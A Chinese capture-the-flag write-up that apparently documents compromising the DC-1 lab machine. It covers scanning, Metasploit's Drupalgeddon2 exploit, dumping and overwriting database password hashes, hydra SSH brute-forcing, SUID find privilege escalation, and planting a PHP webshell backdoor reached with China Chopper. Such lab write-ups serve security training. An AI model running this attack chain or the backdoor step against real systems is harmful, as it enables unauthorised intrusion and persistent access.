1.100个渗透测试实战#1(DC—1)

目录

一、实验环境

二、实验流程

三、实验步骤

(一)信息收集——主机发现

1.查看kali的网卡和IP信息;(网卡名:eth0;IP:192.168.97.129)

2.查看靶机页面;

3.探测主机的存活状态(netdiscover、arp-scan 、nmap);

(二)信息收集——端口(服务)扫描

1.扫描端口,以及端口对应的服务信息,以及靶机的操作系统信息;

2.分析所得:

(三)渗透测试——80端口(http服务)

1.对靶机的网站进行目录遍历;

2.在扫描的同时,火狐浏览器访问主页;

3.尝试访问,robots.txt文件;

4.逐个访问以上扫描出来的以及robots.txt的页面;

5.分析所得:

(四)渗透测试——kali的msf利用drupal漏洞反弹shell

1.进入msf,利用漏洞;

2.从哑shell转换为交互式的完整的shell;

(五)利用反弹后的shell,进行再一次的信息收集,从而进行本地提权

1.开始致命连问

2.登录后台

2.分析所得:

3.继续致命连问;

4.根据flag2的提示,我们进行hydra暴力**flag4用户的ssh服务;

5.ssh登录flag4用户,或者直接切换为flag4用户,从而查看flag4.txt;

6.根据flag3的提示,我们进行find提权;以及根据flag4的提示,我们访问root的家目录,从而得到最终的flag;

(六)留下后门

1.kali编写1.php;

2.nc传输到靶机的/var/www目录下;

3.物理机Win10,使用中国菜刀连接该webshell即可;

四、总结

1.drupal 7,存在着免身份认证的rce漏洞;

unix/webapp/drupal_drupalgeddon2

2.drupal 7,的目录结构;

scripts目录下,存储着很多的脚本,如hash的加密脚本password-hash.sh

password-hash.sh的使用方法:不能在脚本的当前目录下执行,所以php scripts/password-hash.sh 123

sites/default/settings.php,该文件存放着数据库的连接配置

3.suid的提权方法——find

查看具有suid权限的命令:find / -perm -u=s 2>/dev/null

验证命令的权限,如find命令:ls -l /usr/bin/find

利用find命令,进行本地提权:find -name xxx -exec "/bin/sh"  \;

 


一、实验环境

  • 靶机:DC-1,IP地址:192.168.97.146
  • 测试机:kali,IP地址:192.168.97.129
  • 测试机:物理机Win10

二、实验流程

  • 信息收集——主机发现阶段
  • 信息收集——端口(服务)扫描阶段
  • 渗透测试——80端口
  • 渗透测试——msf利用drupal7的rce漏洞,反弹shell
  • 渗透测试——利用反弹得到的shell,进行本地提权
  • 删除痕迹,留下后门

三、实验步骤

(一)信息收集——主机发现

1.查看kali的网卡和IP信息;(网卡名:eth0;IP:192.168.97.129)

1.100个渗透测试实战#1(DC—1)

2.查看靶机页面;

1.100个渗透测试实战#1(DC—1)

3.探测主机的存活状态(netdiscover、arp-scan 、nmap);

  • netdiscover -i eth0 -r 192.168.97.0/24

            -i  指定网卡

            -r  指定网段  

1.100个渗透测试实战#1(DC—1)

  • arp-scan -l

           --localnet or -l    指定扫描本地网络

1.100个渗透测试实战#1(DC—1)

 

  • nmap -sP 192.168.97.0/24

          -sP    ping扫描且不进行端口扫描

1.100个渗透测试实战#1(DC—1)

 

(二)信息收集——端口(服务)扫描

1.扫描端口,以及端口对应的服务信息,以及靶机的操作系统信息;

  • nmap -p- -sV -O -A 192.168.97.146

       -p-        扫描全端口

       -sV       扫描端口对应的服务

       -O        扫描靶机的系统版本

       -A        扫描靶机的系统版本

1.100个渗透测试实战#1(DC—1)

2.分析所得:

  • 22端口处于open状态,且开启了ssh服务
  • 80端口处于open状态,且开启了http服务,且站点为drupal
  • drupal6/7/8版本,存在着免身份认证的远程代码执行漏洞(RCE)

(三)渗透测试——80端口(http服务)

1.对靶机的网站进行目录遍历;

  • dirb http://192.168.97.146  /usr/share/dirb/wordlists/big.txt

1.100个渗透测试实战#1(DC—1)

  • 遇见扫描:

1.100个渗透测试实战#1(DC—1)

2.在扫描的同时,火狐浏览器访问主页;

  • 主页信息如下:

1.100个渗透测试实战#1(DC—1)

  • 使用Web指纹识别插件Wappalyzer,识别该网站的CMS

1.100个渗透测试实战#1(DC—1)

3.尝试访问,robots.txt文件;

  • 浏览器访问:http://192.168.97.146/robots.txt

1.100个渗透测试实战#1(DC—1)

4.逐个访问以上扫描出来的以及robots.txt的页面;

  • 访问的结果:第一种是一些版本信息;第二种是404;第三种是跳转到登录后台页面,需要我们进行身份认证才可以访问这些内容

5.分析所得:

  • 获得了一个drual网站的后台登录页面
  • 该drual的版本为7,可能存在着免身份认证的RCE漏洞

(四)渗透测试——kali的msf利用drupal漏洞反弹shell

1.进入msf,利用漏洞;

  • msfconsole
  • search drupal
  • use exploit/unix/webapp/drupal_drupalgeddon2
  • set rhosts 192.168.97.146
  • set rport 80
  • exploit
  • shell

1.100个渗透测试实战#1(DC—1)

2.从哑shell转换为交互式的完整的shell;

  • python -c 'import pty;pty.spawn("/bin/bash")'

1.100个渗透测试实战#1(DC—1)

(五)利用反弹后的shell,进行再一次的信息收集,从而进行本地提权

1.开始致命连问

  • whoami

1.100个渗透测试实战#1(DC—1)

  • id

1.100个渗透测试实战#1(DC—1)

  • pwd

1.100个渗透测试实战#1(DC—1)

  • ls

如下图所示,我们发现了flag1.txt

1.100个渗透测试实战#1(DC—1)

  • cat flag1.txt

如下图所示,提示我们查看配置文件(durpal的配置文件默认为:sites/default/settings.php)

1.100个渗透测试实战#1(DC—1)

  • find / -name settings.php

1.100个渗透测试实战#1(DC—1)

  • cat /var/www/sites/default/settings.php

如下图所示:

我们的配置文件内,有flag2,意思为暴力**不只是一种方法,你还能根据目前的信息做什么?

还有一个MySQL数据库的连接信息,数据库名drupaldb,连接用户名和密码,对应端口

1.100个渗透测试实战#1(DC—1)

  • netstat -pantu

1.100个渗透测试实战#1(DC—1)

  • mysql -udbuser -pR0ck3t

1.100个渗透测试实战#1(DC—1)

  • show databases;
  • use drupaldb;
  • desc users;
  • select uid,name,pass from users;

如下图所示,我们的数据库里面存放了两个用户,但是密码经过了hash加密

(注意:这里我们要知道,drupal的站点,它自带一个scripts目录,其目录下有一个password-hash.sh加密文件,我们在存储密码之前,都会先加密,再把加密后的密文,存放在数据库中)

(我们可以,把123加密,再更新数据库里的密码,即可使用123登录后台)

1.100个渗透测试实战#1(DC—1)

  • php scripts/password-hash.sh 123

1.100个渗透测试实战#1(DC—1)

  • mysql -udbuser -pR0ck3t

  • use drupaldb

  •  update users set pass="$S$DuQpD3Ddq/8U7UfRomcdkhS5zlfv6cOtUfSbu/B.yfz7EtvN.3iP" where name="admin";
  •  update users set pass="$S$DuQpD3Ddq/8U7UfRomcdkhS5zlfv6cOtUfSbu/B.yfz7EtvN.3iP" where name="Fred";

如下图所示,我们已经把admin用户和Fred用户的密码改为了123

1.100个渗透测试实战#1(DC—1)

2.登录后台

  • Fred用户,密码123登录

如下图所示,没有可用信息

1.100个渗透测试实战#1(DC—1)

  • admin用户,密码123登录

如下图所示,我们在Dashboard内发现flag3,其内容就是提示我们进行suid的find提权

(注意:find  -name  文件名   -exec  系统命令)(find命令在经过查询后,可以接着执行系统命令;假如find被给予了root权限,那么就可以用root打开一个shell了)

1.100个渗透测试实战#1(DC—1)

1.100个渗透测试实战#1(DC—1)

1.100个渗透测试实战#1(DC—1)

2.分析所得:

  • flag2提示,我们暴力** or 使用当前的数据库信息
  • 后台页面flag3,提示我们进行find -exec提权

3.继续致命连问;

  • ls /home
  • cd /home/flag4
  • ls
  • cat flag4.txt

如下图所示,我们的flag4.txt不允许访问

1.100个渗透测试实战#1(DC—1)

  • ls -l

//如下图所示,该flag4.txt的其他人的没有读权限,所以需要flag4用户,或者root用户来访问它

(其实,此处的flag4.txt原本可以访问,只是我进行了稍微的修改,我感觉这样跟合理一点。。。。。)

1.100个渗透测试实战#1(DC—1)

4.根据flag2的提示,我们进行hydra暴力**flag4用户的ssh服务;

  • hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.97.146

如下图所示,暴力**的结果为:flag用户的密码是orange

1.100个渗透测试实战#1(DC—1)

5.ssh登录flag4用户,或者直接切换为flag4用户,从而查看flag4.txt;

  • su flag4

orange

如下图所示,flag4提示我们要用相同的方法得到最终flag,也就是进入root的家目录

1.100个渗透测试实战#1(DC—1)

6.根据flag3的提示,我们进行find提权;以及根据flag4的提示,我们访问root的家目录,从而得到最终的flag;

  • find / -perm -u=s 2>/dev/null

如下图所示,find命令有suid权限

1.100个渗透测试实战#1(DC—1)

  • ls -l /usr/local

如下图所示,find命令被给予的suid权限是root的

1.100个渗透测试实战#1(DC—1)

  • cd /tmp
  • touch pr
  • find -name pr -exec "/bin/sh" \;

如下图所示,我们切换到了tmp目录下,随便创建一个文件,使用find可搜索,可执行命令的特性打开一个shell

很明显,$符号变成了#,提权成功

1.100个渗透测试实战#1(DC—1)

  • id
  • whoami
  • cd /root
  • ls
  • cat thefinalflag.txt

如下图所示,我们进入root的家目录/root,发现了thefinalflag.txt文件,cat一下即可

1.100个渗透测试实战#1(DC—1)

(六)留下后门

1.kali编写1.php;

2.nc传输到靶机的/var/www目录下;

1.100个渗透测试实战#1(DC—1)

3.物理机Win10,使用中国菜刀连接该webshell即可;

1.100个渗透测试实战#1(DC—1)

1.100个渗透测试实战#1(DC—1)

四、总结

1.drupal 7,存在着免身份认证的rce漏洞;

  • unix/webapp/drupal_drupalgeddon2

2.drupal 7,的目录结构;

  • scripts目录下,存储着很多的脚本,如hash的加密脚本password-hash.sh

  • password-hash.sh的使用方法:不能在脚本的当前目录下执行,所以php scripts/password-hash.sh 123

  • sites/default/settings.php,该文件存放着数据库的连接配置

3.suid的提权方法——find

  • 查看具有suid权限的命令:find / -perm -u=s 2>/dev/null

  • 验证命令的权限,如find命令:ls -l /usr/bin/find

  • 利用find命令,进行本地提权:find -name xxx -exec "/bin/sh"  \;